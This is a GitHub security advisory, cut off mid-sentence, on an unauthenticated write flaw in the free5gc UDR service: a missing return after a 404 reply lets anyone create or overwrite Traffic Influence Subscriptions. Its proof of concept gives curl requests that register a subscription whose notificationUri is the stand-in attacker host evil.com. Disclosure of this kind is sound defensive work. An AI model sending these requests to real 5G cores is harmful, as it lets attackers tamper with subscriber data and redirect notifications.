GitHub Security Advisory: GHSA-jgq2-qv8v-5cmj
Package: github.com/free5gc/udr (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-285: Improper Authorization, CWE-636: Not Failing Securely ('Failing Open')
Vulnerable versions: <= 1.4.2
Patched in: unpatched

Summary: free5gc UDR improper path validation allows unauthenticated creation and modification of Traffic Influence Subscriptions

Details:
### Summary
An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to create or overwrite Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected `subs-to-notify` path segment.

### Details
The endpoint `PUT /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId}` is intended to only operate on Traffic Influence Subscription resources when `influenceId` is exactly `subs-to-notify`.

In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:

1. The function `HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut`in `./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go`checks whether `influenceId != "subs-to-notify"`.
2. If the value is different, it calls `c.String(http.StatusNotFound, "404 page not found")`, **but it does not return afterwards**.
3. Execution continues, the request body is still parsed, and the handler calls `s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutProcedure(c, subscriptionId, &trafficInfluSub)`.
4. The processor creates or updates the subscription identified by `subscriptionId` even though the path is invalid and the request should have been rejected.

As a result, an attacker can send a request to an invalid path, receive an apparent `404 page not found` response, and still successfully create or modify the target subscription in the UDR.

The missing `return` after sending the 404 response in `api_datarepository.go` is the root cause of this vulnerability.

### PoC
No authentication is required. The attacker can choose an arbitrary `subscriptionId`.

```bash
curl -v -X PUT "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/nuovoid" \
  -H "Content-Type: application/json" \
  -d '{
    "notificationUri":"http://evil.com",
    "dnns":["internet"],
    "supis":["imsi[PII_REDACTED]99999"]
  }'
```

Response:
```
HTTP/1.1 404 Not Found
404 page not found{"dnns":["internet"],"supis":["imsi[PII_REDACTED]99999"],"notificationUri":"http://evil.com"}
```
Now verify that the object was actually written:

```bash
curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/nuovoid"
```
Response:
```json
{"dnns":["internet"],"supis":["imsi[PII_REDACTED]99999"],"notificationUri":"http://evil.com"}
```
### Impact
This is an unauthenticated unauthorized write vulnerability. Any attacker with network access to the SBI can create or overwrite Traffic Influence Subscriptions by choosing an arbitrary subscriptionId, even when using an invalid path that should have been rejected.

This allows injection of attacker-controlled subscription data, including arbitrary SUPIs and attacker-controlled notificationUri values. Depending on deployment behavior, this may enable malicious redirection of policy